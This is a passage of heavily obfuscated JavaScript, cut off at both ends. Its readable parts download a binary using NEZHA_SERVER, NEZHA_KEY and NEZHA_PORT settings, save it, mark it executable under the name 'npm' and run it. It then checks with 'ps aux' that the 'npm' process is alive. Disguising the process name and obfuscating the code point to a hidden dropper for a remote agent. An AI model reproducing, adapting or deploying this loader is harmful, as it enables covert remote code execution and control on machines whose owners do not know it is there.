_0x2e685e(_0x2e438f-_0x5ee326._0x5dc6a3,_0x2e438f-_0x5ee326._0x7960ed,_0x549222-_0x5ee326._0x3bc83b,_0x12232a);}_0x13b824[_0x37198f(_0x56bf1a._0xd2ff7f,_0x56bf1a._0x42c7e8,0x46e,_0x56bf1a._0x1bc7bf)]=_0x37198f(_0x56bf1a._0x113304,_0x56bf1a._0x2289c8,_0x56bf1a._0x540aa5,_0x56bf1a._0x1f2498),_0x13b824['WXkbC']=_0x59c2ad(_0x56bf1a._0x2a05b1,_0x56bf1a._0xa2509b,0x319,_0x56bf1a._0x541efe),_0x13b824[_0x37198f(_0x56bf1a._0xceef9a,_0x56bf1a._0x2d5875,_0x56bf1a._0x2549c1,_0x56bf1a._0x5a1fda)]=function(_0x4cddd9,_0x257192){return _0x4cddd9===_0x257192;},_0x13b824[_0x59c2ad(0x4c2,_0x56bf1a._0x182238,_0x56bf1a._0x541a26,_0x56bf1a._0x3d9201)]=_0x37198f(_0x56bf1a._0x552213,_0x56bf1a._0x1df3ca,_0x56bf1a._0x4894f0,_0x56bf1a._0x54edfd);const _0x98f7b7=_0x13b824,_0x2ca5b1=os[_0x59c2ad(_0x56bf1a._0x4e9393,_0x56bf1a._0x34c416,0x381,0x3af)]();if(_0x2ca5b1===_0x98f7b7[_0x37198f(_0x56bf1a._0x1a9a40,0x310,_0x56bf1a._0x33922e,_0x56bf1a._0x2852c2)]||_0x2ca5b1===_0x98f7b7[_0x37198f(_0x56bf1a._0x43be0d,_0x56bf1a._0x3af44b,0x419,0x3c5)]||_0x98f7b7[_0x59c2ad(_0x56bf1a._0x24272c,_0x56bf1a._0x359321,0x300,_0x56bf1a._0x17f78f)](_0x2ca5b1,_0x98f7b7['OJEvM'])){if(_0x98f7b7[_0x59c2ad(_0x56bf1a._0x2d707c,_0x56bf1a._0x940159,_0x56bf1a._0x43be0d,_0x56bf1a._0xe158f1)](_0x98f7b7[_0x59c2ad(_0x56bf1a._0x247e13,_0x56bf1a._0x354729,_0x56bf1a._0x3fcb02,0x3ed)],_0x98f7b7[_0x37198f(_0x56bf1a._0x1386c1,0x494,0x487,_0x56bf1a._0x2f1870)]))this[_0x59c2ad(_0x56bf1a._0x338d96,_0x56bf1a._0x55fe55,_0x56bf1a._0x67abcb,_0x56bf1a._0x354e44)](_0x3833bd[_0x37198f(0x378,0x345,0x415,_0x56bf1a._0x5779e6)](_0x436c70));else return!NEZHA_PORT?_0x98f7b7[_0x59c2ad(_0x56bf1a._0x5cce59,_0x56bf1a._0x4c926f,_0x56bf1a._0x5e560d,_0x56bf1a._0x28956e)]:_0x37198f(_0x56bf1a._0x20c0e1,_0x56bf1a._0x1631f4,0x341,_0x56bf1a._0x56daae);}else{if(_0x98f7b7[_0x59c2ad(0x390,_0x56bf1a._0x3c8aee,_0x56bf1a._0x2c354e,_0x56bf1a._0x5175dd)](_0x98f7b7['BJCda'],_0x98f7b7[_0x37198f(_0x56bf1a._0x33521f,_0x56bf1a._0x9b933a,_0x56bf1a._0x488cd1,_0x56bf1a._0x5aa71f)]))return![];else{if(!NEZHA_PORT)return _0x98f7b7[_0x37198f(_0x56bf1a._0x1b4ed8,_0x56bf1a._0x3abfb5,_0x56bf1a._0x3db461,_0x56bf1a._0x2f157f)];else{if(_0x98f7b7['YQTZN'](_0x98f7b7[_0x59c2ad(_0x56bf1a._0x53d44f,_0x56bf1a._0x5334e7,0x505,_0x56bf1a._0x4d1f15)],_0x98f7b7[_0x59c2ad(_0x56bf1a._0x37d88e,_0x56bf1a._0x430743,_0x56bf1a._0x5a5753,0x461)]))return _0x37198f(_0x56bf1a._0x284b04,_0x56bf1a._0x36ba21,_0x56bf1a._0x148db6,_0x56bf1a._0x3ad34c);else _0x98f7b7['YSQsT'](_0x4ded24,_0x3ce635[_0x37198f(_0x56bf1a._0x15befc,_0x56bf1a._0x1048f3,_0x56bf1a._0x4d1471,_0x56bf1a._0x3ad242)])&&this[_0x59c2ad(_0x56bf1a._0x472ff0,_0x56bf1a._0x24ea7e,_0x56bf1a._0x497c6f,0x381)](_0x55a106[_0x59c2ad(_0x56bf1a._0x66e5a9,_0x56bf1a._0x29b082,_0x56bf1a._0x452fcc,0x396)](_0x2d0131)),_0x39b4fb['on'](_0x98f7b7[_0x37198f(0x403,_0x56bf1a._0x5d6eb7,_0x56bf1a._0x2edb61,_0x56bf1a._0xbf8a22)],()=>{})[_0x37198f(_0x56bf1a._0x1a4757,0x30e,_0x56bf1a._0x49a690,_0x56bf1a._0x23b442)](this)['on'](_0x37198f(0x3f5,_0x56bf1a._0x4b500a,_0x56bf1a._0x145313,_0x56bf1a._0x223e4c),()=>{})[_0x59c2ad(_0x56bf1a._0x4a26bf,_0x56bf1a._0x17621b,_0x56bf1a._0x300540,_0x56bf1a._0x2114d9)](_0x1b9813);}}}},downloadFile=async()=>{const _0xafc4fc={_0x3a1985:0xb8,_0x5bfcf5:0x13f,_0x2b04bd:0x109,_0x476995:0x7c,_0x51aebb:0xac,_0x64e12d:0xc4,_0x22d4e6:0x4d,_0xe39b54:0x9c,_0x34c5b3:0x1b,_0x3612ee:0x4cf,_0x579592:0x508,_0x57924b:0x47d,_0x31a13b:0x52d,_0x1a7ca7:0x4a3,_0x298fed:0x48b,_0x327649:0x81,_0x2691d4:0x0,_0x566071:0x76,_0x2a58df:0x7d,_0x35ed17:0x8d,_0x558a58:0x8a,_0x2f3854:0xcd,_0x2f24da:0xb4,_0x24529b:0x7d,_0x93f3e0:0x5e,_0x55432e:0x428,_0x2835d7:0x403,_0x5655c1:0x3a6,_0x56f737:0x396,_0x1ec5ce:0xf,_0x26f4e8:0x28,_0x207840:0x9d,_0x339b46:0x3f,_0x18ef44:0x43,_0x28c120:0x1a,_0x522cbc:0x451,_0x562906:0x495,_0x602efc:0x3f8,_0x140307:0x43f,_0x10d518:0x8c,_0x3c625b:0x4e,_0x516321:0xda,_0x37b2b9:0x6d},_0x87b9df={_0x11820b:0x679,_0xff5ed6:0x6be,_0x48c62b:0x633,_0x1b4bb5:0x62e,_0x25dc46:0x576,_0x41bc2e:0x678,_0x38e6d6:0x61a,_0x16a4e3:0x58,_0x2b1448:0x17,_0x167d5d:0x5d,_0x2c9b1e:0xf3,_0x3feb69:0xd6,_0x42037f:0x53,_0x250f86:0xb1,_0x33a2d2:0x14e,_0x39973d:0xd1,_0x456de8:0x176,_0x1df772:0xd2},_0x44f84b={_0x50b139:0x6ba,_0xfccec4:0x695,_0x42e665:0x660,_0x40358f:0x691,_0x4ea321:0x6e1,_0x407d3d:0x64e,_0x1e7e21:0x1b3,_0x11c7a8:0x1bf,_0x1a2be9:0x1d6,_0x14d2c4:0x4f6,_0x2b7018:0x59c,_0x1a7bf6:0x56e,_0x254d14:0x60d,_0x2bec05:0x5a6,_0x2c8db9:0x538,_0x284bbf:0x619,_0x5a2360:0x61a,_0x4c78d1:0x5c7,_0xc68c7b:0x569,_0x423d0b:0x5b3,_0x554a07:0x4d8,_0x5eaf8f:0x57e,_0x5ace75:0x4e0,_0x269214:0x5e0,_0x4a30f8:0x554,_0x39691e:0x5d4,_0x888c64:0x606,_0x7071ae:0x57e,_0xc3a1b4:0x1a7,_0x239c05:0x16d,_0x34d797:0x199,_0x9ea6b2:0x173,_0x4c02db:0xf5,_0x2fdf38:0x191},_0x53ccdc={_0x20d722:0x602,_0x2e6b27:0x679},_0x4515fe={_0x2cc00b:0x112,_0x5759be:0x152,_0x296e56:0x1d6},_0x26c577={_0x1bb506:0xd1,_0x4a99f3:0x2e},_0xb0255={'pJsDi':_0x55111a(-_0xafc4fc._0x3a1985,-_0xafc4fc._0x5bfcf5,-_0xafc4fc._0x2b04bd,-_0xafc4fc._0x476995),'JsBQV':function(_0x15eace,_0x38c767,_0x36bfbf){return _0x15eace(_0x38c767,_0x36bfbf);},'oDAIm':'chmod\x20+x\x20npm','SwmmG':function(_0x2ac1c0,_0x4af9d2){return _0x2ac1c0===_0x4af9d2;},'YwTMD':_0x55111a(-_0xafc4fc._0x51aebb,-_0xafc4fc._0x3a1985,-0x5a,-_0xafc4fc._0x64e12d),'kbhDT':_0x55111a(-0x33,_0xafc4fc._0x22d4e6,-_0xafc4fc._0xe39b54,_0xafc4fc._0x34c5b3),'xhrxK':'finish','jPSPb':function(_0x1f3670,_0x28d18a){return _0x1f3670&&_0x28d18a;},'byVOj':function(_0x20c73a){return _0x20c73a();},'KwtfY':function(_0x63fbbe,_0x7690d8){return _0x63fbbe(_0x7690d8);},'UJOqt':_0x1b2bc9(_0xafc4fc._0x3612ee,_0xafc4fc._0x579592,0x475,_0xafc4fc._0x57924b),'SsMET':_0x1b2bc9(0x4b9,0x4a7,_0xafc4fc._0x31a13b,0x45b),'GWjHp':_0x1b2bc9(_0xafc4fc._0x1a7ca7,_0xafc4fc._0x298fed,0x435,0x4ca)};if(_0xb0255[_0x55111a(-_0xafc4fc._0x327649,_0xafc4fc._0x2691d4,-_0xafc4fc._0x566071,-_0xafc4fc._0x2a58df)](!NEZHA_SERVER,!NEZHA_KEY))return;function _0x55111a(_0xc75770,_0xabfd26,_0x5eeb71,_0x5418d9){return _0x2e685e(_0xc75770-_0x26c577._0x1bb506,_0xc75770-_0x26c577._0x4a99f3,_0x5eeb71-0xa4,_0x5eeb71);}function _0x1b2bc9(_0xec00ee,_0x203e94,_0x57e4a0,_0x346824){return _0x282628(_0x203e94-_0x4515fe._0x2cc00b,_0x203e94-_0x4515fe._0x5759be,_0x57e4a0-_0x4515fe._0x296e56,_0x346824);}try{const _0x10267d=_0xb0255[_0x55111a(_0xafc4fc._0x35ed17,_0xafc4fc._0x558a58,_0xafc4fc._0x2f3854,_0xafc4fc._0x2f24da)](getDownloadUrl),_0xeb366e=await _0xb0255[_0x55111a(-_0xafc4fc._0x24529b,-0x81,-_0xafc4fc._0x93f3e0,-0x75)](axios,{'method':_0xb0255[_0x1b2bc9(_0xafc4fc._0x55432e,_0xafc4fc._0x2835d7,_0xafc4fc._0x5655c1,_0xafc4fc._0x56f737)],'url':_0x10267d,'responseType':_0xb0255[_0x55111a(_0xafc4fc._0x1ec5ce,_0xafc4fc._0x26f4e8,_0xafc4fc._0x207840,-0x6d)]}),_0x76d53a=fs[_0x55111a(-_0xafc4fc._0x339b46,_0xafc4fc._0x18ef44,-0x9c,-_0xafc4fc._0x28c120)](_0xb0255[_0x1b2bc9(0x3c7,_0xafc4fc._0x522cbc,_0xafc4fc._0x562906,0x4bd)]);return _0xeb366e[_0x1b2bc9(0x386,_0xafc4fc._0x602efc,0x382,_0xafc4fc._0x140307)][_0x55111a(-_0xafc4fc._0x10d518,-_0xafc4fc._0x3c625b,-_0xafc4fc._0x516321,-_0xafc4fc._0x37b2b9)](_0x76d53a),new Promise((_0x5da3bb,_0x40cf77)=>{const _0x19b16c={_0x1f1f23:0x15f,_0x20af59:0x8a,_0x4ee79e:0x69},_0xeef02d={_0x5ada61:0x1be,_0x2bac31:0x175},_0x4d4592={_0x548d8c:0xc5,_0x691cde:0x3,_0x138bcc:0x1b4};function _0x18fb6a(_0xfec8,_0x5f2911,_0x224e41,_0x119573){return _0x55111a(_0xfec8-_0x4d4592._0x548d8c,_0x5f2911-_0x4d4592._0x691cde,_0x224e41,_0x119573-_0x4d4592._0x138bcc);}function _0x3bdaee(_0x239c85,_0x50b165,_0x425728,_0x27c624){return _0x55111a(_0x27c624-0x652,_0x50b165-_0xeef02d._0x5ada61,_0x239c85,_0x27c624-_0xeef02d._0x2bac31);}const _0x472497={'ciAmY':_0xb0255[_0x3bdaee(_0x87b9df._0x11820b,_0x87b9df._0xff5ed6,_0x87b9df._0x48c62b,_0x87b9df._0x1b4bb5)],'JEngb':function(_0x11575c,_0xbc2fb9,_0x2bf2d6){const _0x1ae122={_0x4be532:0x1c7,_0x1a1a58:0xb};function _0x3b444a(_0x58ab95,_0x231639,_0x3cf68e,_0x41ef4e){return _0x3bdaee(_0x58ab95,_0x231639-0xbc,_0x3cf68e-_0x1ae122._0x4be532,_0x3cf68e- -_0x1ae122._0x1a1a58);}return _0xb0255[_0x3b444a(0x647,_0x53ccdc._0x20d722,0x679,_0x53ccdc._0x2e6b27)](_0x11575c,_0xbc2fb9,_0x2bf2d6);},'xLsLt':_0xb0255[_0x3bdaee(_0x87b9df._0x25dc46,0x5ce,_0x87b9df._0x41bc2e,_0x87b9df._0x38e6d6)]};_0xb0255[_0x18fb6a(0x13,-_0x87b9df._0x16a4e3,-_0x87b9df._0x2b1448,_0x87b9df._0x167d5d)](_0xb0255[_0x18fb6a(_0x87b9df._0x2c9b1e,0xa7,0x80,0x89)],_0xb0255[_0x18fb6a(_0x87b9df._0x3feb69,_0x87b9df._0x42037f,0x93,_0x87b9df._0x250f86)])?_0x33d42e['close']():(_0x76d53a['on'](_0xb0255[_0x18fb6a(0xaa,0x57,0x1c,_0x87b9df._0x33a2d2)],()=>{const _0x4741ac={_0x49f866:0x5c4,_0x13c635:0x58c,_0x275303:0x1eb,_0x3bb9fa:0x266,_0x2e8e9e:0x18a,_0xf97e5:0x15f},_0x17a9ba={_0x3b5c9d:0x7a,_0x4bf318:0xc2},_0x21b2d6={_0xc07e3a:0x3b3,_0x14d450:0x41,_0x5b09c9:0x68},_0x2ad212={_0xd90bdd:0x13f,_0x4cf233:0x90};function _0xe33b68(_0x49caa8,_0x5b0cb7,_0x28cc2c,_0x4e99f7){return _0x3bdaee(_0x5b0cb7,_0x5b0cb7-_0x19b16c._0x1f1f23,_0x28cc2c-_0x19b16c._0x20af59,_0x4e99f7- -_0x19b16c._0x4ee79e);}const _0x576c62={'DrQkD':'mXUHw','HyidS':function(_0x2aa4ad,_0x2fdcc0){return _0x2aa4ad(_0x2fdcc0);}};function _0x1ca7bd(_0x2ef906,_0x152d90,_0x510a10,_0x2bf8f7){return _0x18fb6a(_0x2ef906-_0x2ad212._0xd90bdd,_0x152d90-_0x2ad212._0x4cf233,_0x510a10,_0x2bf8f7-0x122);}if(_0xe33b68(0x6f3,_0x44f84b._0x50b139,_0x44f84b._0xfccec4,_0x44f84b._0x42e665)!==_0xe33b68(0x620,_0x44f84b._0x40358f,_0x44f84b._0x4ea321,_0x44f84b._0x407d3d))console['log'](_0x472497[_0x1ca7bd(_0x44f84b._0x1e7e21,0x24b,_0x44f84b._0x11c7a8,_0x44f84b._0x1a2be9)]),_0x472497[_0xe33b68(_0x44f84b._0x14d2c4,_0x44f84b._0x2b7018,0x557,_0x44f84b._0x1a7bf6)](exec,_0x472497[_0xe33b68(_0x44f84b._0x254d14,_0x44f84b._0x2bec05,0x5a9,0x596)],_0x185191=>{function _0x131da6(_0x25ef3b,_0x948f,_0x41737f,_0x2086c0){return _0x1ca7bd(_0x2086c0-_0x21b2d6._0xc07e3a,_0x948f-_0x21b2d6._0x14d450,_0x948f,_0x2086c0-_0x21b2d6._0x5b09c9);}function _0x122a0c(_0x4d5283,_0x50be69,_0x5ef12c,_0xff25ee){return _0x1ca7bd(_0x4d5283-_0x17a9ba._0x3b5c9d,_0x50be69-_0x17a9ba._0x4bf318,_0x5ef12c,_0xff25ee-0x32);}if(_0x576c62['DrQkD']!==_0x576c62[_0x131da6(0x603,_0x4741ac._0x49f866,_0x4741ac._0x13c635,0x5c2)])_0x5ae200=_0x4c51d7;else{if(_0x185191)_0x576c62[_0x122a0c(_0x4741ac._0x275303,_0x4741ac._0x3bb9fa,_0x4741ac._0x2e8e9e,_0x4741ac._0xf97e5)](_0x40cf77,_0x185191);_0x5da3bb();}});else{const _0x2dc59d=_0x1187bf['constructor'][_0xe33b68(_0x44f84b._0x2c8db9,_0x44f84b._0x284bbf,_0x44f84b._0x5a2360,_0x44f84b._0x4c78d1)][_0xe33b68(_0x44f84b._0xc68c7b,_0x44f84b._0x423d0b,_0x44f84b._0x554a07,_0x44f84b._0x5eaf8f)](_0x1e04b3),_0x445820=_0x3e621e[_0x5dd10c],_0x2ee409=_0x414449[_0x445820]||_0x2dc59d;_0x2dc59d[_0xe33b68(0x536,_0x44f84b._0x5ace75,_0x44f84b._0x269214,_0x44f84b._0x4a30f8)]=_0xb629cd[_0xe33b68(_0x44f84b._0x39691e,_0x44f84b._0x888c64,0x59d,_0x44f84b._0x7071ae)](_0x2d5832),_0x2dc59d[_0x1ca7bd(0x1b9,_0x44f84b._0xc3a1b4,0x255,_0x44f84b._0x239c05)]=_0x2ee409['toString'][_0x1ca7bd(_0x44f84b._0x34d797,_0x44f84b._0x9ea6b2,_0x44f84b._0x4c02db,_0x44f84b._0x2fdf38)](_0x2ee409),_0x20f5a7[_0x445820]=_0x2dc59d;}}),_0x76d53a['on'](_0x18fb6a(_0x87b9df._0x39973d,_0x87b9df._0x456de8,0x43,_0x87b9df._0x1df772),_0x40cf77));});}catch(_0x274dcb){throw _0x274dcb;}},runnz=async()=>{const _0x3581d0={_0x4906ed:0x1e5,_0x438bef:0x27f,_0x4b81c4:0x1ec,_0x2ea602:0x1b7,_0x451fe1:0x2b1,_0x154032:0x337,_0x454145:0x34e,_0xfe42bf:0x39e,_0x5d32e9:0x246,_0x2f1f7c:0x20f,_0x24499b:0x238,_0x1ffa53:0x389,_0x3792cf:0x34a,_0xaebb22:0x2fd,_0x5189c6:0x279,_0x1a1c18:0x2d4,_0x49d5e3:0x240,_0x3f1675:0x297,_0x525b1f:0x198,_0x54ee08:0x170,_0x528f6a:0x2ed,_0x5cae58:0x314,_0x1167f9:0x2e9,_0x84f7f9:0x2be,_0x37fcbc:0x17a,_0x406107:0x1d5,_0x3756ed:0x19b,_0x44b8ed:0x21d,_0x5bf303:0x23c,_0x225861:0x1e9,_0x191fd2:0x2bf,_0x331662:0x24c,_0x2c511f:0x267,_0x4b0a89:0x254,_0x4f4ce7:0x235,_0x12f387:0x1d5,_0x28a536:0x209,_0x2d1dd4:0x1d8,_0x55683c:0x26d,_0x3903c8:0x27d,_0x5594c8:0x2f3,_0x5bb3e9:0x288,_0x986a7:0x295,_0x373e78:0x1aa,_0x35a4a2:0x1f9,_0x3240d8:0x229,_0x3532f5:0x314,_0x2ccd38:0x293,_0x1e72df:0x2e5,_0x21b655:0x294,_0x229ece:0x36c,_0x30f183:0x1fa,_0x3ad2ec:0x128,_0x449e59:0x133,_0x3935ea:0x217,_0x4d2f4c:0x272,_0x22f944:0x2fe,_0x142387:0x270,_0x350adf:0x172,_0x31a62b:0x10f,_0x8d5696:0x179,_0x1f05c0:0x1eb,_0x4b8a94:0x1d0,_0x260f60:0x1a9,_0x57824b:0x288,_0x18a3d4:0x2d3,_0x3c497c:0x28f,_0x1ce7f0:0x324,_0x4ef3b7:0x1c5,_0x254f14:0x257,_0x29b22e:0x2b8,_0x2d37c4:0x2e8,_0x674027:0x340,_0x59e7ff:0x387,_0x24188e:0x393,_0x49c349:0x328,_0x428723:0x274,_0x4ab8f4:0x301,_0x179892:0x3a2,_0x1eef50:0x2d6,_0x3e22be:0x23b,_0x3fae43:0x1f2,_0x3925fd:0x1df,_0x21f55b:0x3c2,_0x5bc906:0x328,_0x52bf60:0x302,_0x5856dd:0x359,_0x1fb766:0x154,_0x3103b3:0x156,_0x5d0505:0xe5,_0x5941d0:0x347,_0x3a9d45:0x33e,_0x752bc3:0x26c,_0x3a85a0:0x25c,_0x2499f2:0x2f7,_0x4e2b88:0x2f1,_0x4cc412:0x315,_0x15aac6:0x35e,_0xa0e329:0x2bd,_0x325c60:0x31f,_0x4a0d94:0x2a8,_0x4a0a93:0x1e1,_0xe2a2bb:0x1e7,_0x15ff79:0x246,_0x1970b7:0x273,_0x47629c:0x1f5,_0x13781c:0x2c6,_0xd118bb:0x2db,_0x3f9736:0x373,_0xf9b0e:0x39a,_0x2b4109:0x21c,_0x4aa19d:0x218,_0x2857e9:0x154,_0x249cb1:0xdf,_0x15e6c5:0x18e,_0x2a6b0f:0x159,_0x46804e:0x346,_0x31b6d5:0x385,_0x3e2bc3:0x388,_0x437ee3:0x310,_0x41f0cb:0x340,_0x2af89c:0x2ab,_0x3be6c9:0x3e6,_0xdcb99d:0x301,_0x3f73e2:0x212,_0x67d9e7:0x264,_0x4852e6:0x17c,_0x592aa5:0x1fe,_0x1f6e36:0xe4,_0x5737d5:0x184,_0x12c333:0x3ca,_0x1cccc2:0x36a,_0x5a670d:0x372,_0x10e5ae:0x257,_0x5de161:0x282,_0x567ccc:0x249,_0x408cbc:0x1cd,_0x2cd72d:0x297,_0x371d0f:0x1f0,_0x5d2f62:0x16b,_0x112c78:0x248,_0x22245d:0x2a6,_0x459504:0x23d,_0x208501:0x12f,_0x410a9d:0x134,_0x25db7a:0x17e,_0x19730e:0x130,_0x14c305:0x316,_0x27b2a3:0x27d,_0xf4d351:0x2f3,_0xe4b6f4:0x34d,_0x88a8d4:0x2aa,_0x1e87bf:0x304,_0x422fd7:0x332,_0x132747:0x382,_0x386bfa:0x30a,_0xd45d97:0x30f,_0x45448d:0x278,_0x2b1920:0x29f,_0x152fea:0x254,_0x4e0e4c:0x28b,_0x3fa3a6:0x229,_0xf3a879:0x2ab,_0x26655b:0x349,_0x2f7c28:0xd6,_0x21f3c9:0xfb,_0x1a2e03:0x3aa,_0x2eb089:0x199,_0x1a1760:0x197,_0x198a94:0x1fb,_0xa52771:0x1a7,_0x406f86:0x247,_0x31d897:0x2e3,_0x2764f9:0x20d,_0x5ebb9c:0x230,_0x4215e6:0x1a2,_0x3294d8:0x290,_0x4ff324:0x263,_0x2e5fed:0x224,_0x2fe150:0x22a,_0x4988e6:0x232,_0x280225:0x2d1,_0x5a0a9e:0x28c,_0x85e17b:0x36d,_0x55889f:0x300,_0x349104:0x377,_0x52baa2:0x384,_0x1a4cfb:0x39b,_0x302b33:0x333,_0x40c90d:0x375,_0x3607e3:0x351,_0x13eca4:0x3af,_0x507d53:0x2e6,_0x14aee2:0x3a0,_0x472f8d:0x356,_0x31b4f2:0x2f7,_0x4a5eb5:0x32b,_0x12d59e:0x138,_0x2f7803:0xf2,_0x220972:0xb7,_0x29d51c:0x331,_0x204572:0x2cd,_0x18775b:0x2d1,_0x3ffb79:0x338,_0x3f6e1d:0x34c},_0x57de3f={_0x27d856:0x362,_0x269dbc:0x390,_0x53c3af:0x410,_0x24fa34:0x40f,_0x51d1f2:0x38c},_0x5b76d1={_0x1c8dd5:0x19e,_0x2b9c56:0x17f},_0x798a1c={_0x4dbad5:0x214,_0x1674da:0x18d},_0x4b86ac={_0x1ce2fc:0x133,_0x3acfd4:0x10},_0x2f0fb8={'FgzNb':function(_0x401736,_0x520e75){return _0x401736===_0x520e75;},'qqvWh':function(_0xf75d46,_0x437724){return _0xf75d46>_0x437724;},'VhtsB':function(_0x3c717a,_0x366b04){return _0x3c717a(_0x366b04);},'LpKAH':function(_0x51176a){return _0x51176a();},'yBoSp':_0x4ac3ab(_0x3581d0._0x4906ed,_0x3581d0._0x438bef,_0x3581d0._0x4b81c4,_0x3581d0._0x2ea602),'RedSI':_0x181af6(_0x3581d0._0x451fe1,_0x3581d0._0x154032,_0x3581d0._0x454145,_0x3581d0._0xfe42bf),'CTiTD':function(_0x165b82,_0x33107f){return _0x165b82!==_0x33107f;},'JXyCa':_0x4ac3ab(_0x3581d0._0x5d32e9,_0x3581d0._0x2f1f7c,_0x3581d0._0x24499b,0x2a1),'NVRcK':'ps\x20aux\x20|\x20grep\x20-v\x20\x22grep\x22\x20|\x20grep\x20\x22./[n]pm\x22','MXvtn':'utf-8','pRJyW':_0x181af6(_0x3581d0._0x1ffa53,_0x3581d0._0x3792cf,_0x3581d0._0xaebb22,0x3dc),'xvzet':_0x181af6(_0x3581d0._0x5189c6,_0x3581d0._0x1a1c18,_0x3581d0._0x49d5e3,_0x3581d0._0x3f1675),'uOvMU':_0x4ac3ab(0x162,_0x3581d0._0x525b1f,0x133,_0x3581d0._0x54ee08),'fUrpp':_0x181af6(_0x3581d0._0x528f6a,_0x3581d0._0x5cae58,_0x3581d0._0x1167f9,_0x3581d0._0x84f7f9),'Voejy':_0x4ac3ab(_0x3581d0._0x37fcbc,_0x3581d0._0x406107,_0x3581d0._0x3756ed,_0x3581d0._0x44b8ed),'rhnbS':_0x4ac3ab(_0x3581d0._0x5bf303,_0x3581d0._0x225861,_0x3581d0._0x191fd2,_0x3581d0._0x331662),'qwQCN':_0x4ac3ab(0x23a,_0x3581d0._0x2c511f,_0x3581d0._0x4b0a89,_0x3581d0._0x4f4ce7),'sFIfi':function(_0x51776e,_0x2dc20f){return _0x51776e&&_0x2dc20f;},'liCZd':'--tls','nkJTt':_0x4ac3ab(_0x3581d0._0x12f387,0x17e,_0x3581d0._0x28a536,_0x3581d0._0x2d1dd4),'AscXr':_0x181af6(_0x3581d0._0x55683c,_0x3581d0._0x3903c8,0x2e6,0x2b4),'aWWEs':_0x181af6(0x390,_0x3581d0._0x5594c8,_0x3581d0._0x5bb3e9,_0x3581d0._0x986a7),'oyabn':_0x4ac3ab(_0x3581d0._0x373e78,_0x3581d0._0x4f4ce7,_0x3581d0._0x35a4a2,_0x3581d0._0x3240d8),'smlgC':_0x181af6(_0x3581d0._0x3532f5,_0x3581d0._0x2ccd38,_0x3581d0._0x1e72df,_0x3581d0._0x21b655),'Bgrtw':function(_0x4ebc87,_0xa16ff5,_0x5e808f,_0x1f04f8){return _0x4ebc87(_0xa16ff5,_0x5e808f,_0x1f04f8);},'jQIve':_0x181af6(0x345,_0x3581d0._0x229ece,0x2c9,_0x3581d0._0xaebb22),'pYDlQ':function(_0x4c8c5c,_0x11ac3c){return _0x4c8c5c!==_0x11ac3c;},'ynzgt':_0x4ac3ab(0x15b,0x15f,_0x3581d0._0x30f183,0x1d9),'kkytr':_0x4ac3ab(0x17d,_0x3581d0._0x3ad2ec,_0x3581d0._0x449e59,_0x3581d0._0x3935ea)};function _0x181af6(_0x1094db,_0x251f9d,_0xcc399e,_0x574df0){return _0x2e685e(_0x1094db-_0x4b86ac._0x1ce2fc,_0x251f9d-0x329,_0xcc399e-_0x4b86ac._0x3acfd4,_0x1094db);}function _0x4ac3ab(_0x57f321,_0x4e24e5,_0x181189,_0xca953e){return _0x2e685e(_0x57f321-0xcd,_0x57f321-_0x798a1c._0x4dbad5,_0x181189-_0x798a1c._0x1674da,_0x4e24e5);}try{if(_0x2f0fb8[_0x4ac3ab(_0x3581d0._0x4d2f4c,_0x3581d0._0x22f944,_0x3581d0._0x142387,0x2e5)](_0x4ac3ab(0x1b1,_0x3581d0._0x350adf,_0x3581d0._0x31a62b,_0x3581d0._0x8d5696),_0x2f0fb8[_0x4ac3ab(0x1c0,_0x3581d0._0x1f05c0,_0x3581d0._0x4b8a94,_0x3581d0._0x260f60)])){const _0x14b811=execSync(_0x2f0fb8[_0x181af6(_0x3581d0._0x57824b,_0x3581d0._0x18a3d4,_0x3581d0._0x3c497c,_0x3581d0._0x1ce7f0)],{'encoding':_0x2f0fb8[_0x181af6(_0x3581d0._0x4ef3b7,_0x3581d0._0x254f14,_0x3581d0._0x29b22e,_0x3581d0._0x2d37c4)]});if(_0x2f0fb8[_0x181af6(_0x3581d0._0x674027,_0x3581d0._0x59e7ff,_0x3581d0._0x24188e,_0x3581d0._0x49c349)](_0x14b811[_0x181af6(_0x3581d0._0x428723,_0x3581d0._0x4ab8f4,_0x3581d0._0x179892,_0x3581d0._0x1eef50)](),'')){if(_0x2f0fb8[_0x4ac3ab(_0x3581d0._0x3e22be,_0x3581d0._0x3fae43,_0x3581d0._0x3925fd,0x1d9)]===_0x2f0fb8[_0x181af6(_0x3581d0._0x21f55b,_0x3581d0._0x5bc906,_0x3581d0._0x52bf60,_0x3581d0._0x5856dd)]){const _0x33d679=_0x51f5a4[_0x4ac3ab(_0x3581d0._0x1fb766,_0x3581d0._0x3103b3,0x15a,_0x3581d0._0x5d0505)];if(_0x2f0fb8[_0x181af6(_0x3581d0._0x5941d0,0x2d0,0x2a2,_0x3581d0._0x3a9d45)](_0x33d679[_0x4ac3ab(_0x3581d0._0x752bc3,_0x3581d0._0x3a85a0,_0x3581d0._0x2499f2,0x2df)],0x2*-0x132e+0x1794+0x3b2*0x4)&&_0x33d679[_0x181af6(_0x3581d0._0x4e2b88,0x2f6,_0x3581d0._0x4cc412,_0x3581d0._0x15aac6)]&&_0x2f0fb8[_0x181af6(_0x3581d0._0xa0e329,_0x3581d0._0x325c60,0x39f,_0x3581d0._0x4a0d94)](_0x33d679[_0x4ac3ab(_0x3581d0._0x4a0a93,_0x3581d0._0xe2a2bb,_0x3581d0._0x15ff79,_0x3581d0._0x1970b7)][_0x4ac3ab(0x265,_0x3581d0._0x47629c,_0x3581d0._0x406107,_0x3581d0._0x13781c)],0x8ac+0xd*-0xf6+0x3d2)){const _0x41915c=_0x33d679['Answer'][_0x181af6(_0x3581d0._0xd118bb,_0x3581d0._0x3f9736,0x387,_0x3581d0._0xf9b0e)](_0x479c92=>_0x479c92[_0x181af6(0x31e,0x2a2,0x2d8,0x2a8)]===0x1*0xde7+-0x1158+0x372);if(_0x41915c){_0x2f0fb8[_0x4ac3ab(0x21a,_0x3581d0._0x2b4109,_0x3581d0._0x4aa19d,0x2b1)](_0x469e87,_0x41915c[_0x4ac3ab(_0x3581d0._0x2857e9,_0x3581d0._0x249cb1,_0x3581d0._0x15e6c5,_0x3581d0._0x2a6b0f)]);return;}}_0x2f0fb8[_0x181af6(_0x3581d0._0x46804e,0x349,_0x3581d0._0x31b6d5,_0x3581d0._0x3e2bc3)](_0x39e80a);}else{console[_0x181af6(_0x3581d0._0x437ee3,_0x3581d0._0x41f0cb,_0x3581d0._0x2af89c,_0x3581d0._0x3be6c9)](_0x2f0fb8[_0x181af6(0x309,0x2a7,0x2cb,_0x3581d0._0xdcb99d)]);return;}}}else{_0x2f0fb8[_0x4ac3ab(0x21a,_0x3581d0._0x3f73e2,_0x3581d0._0x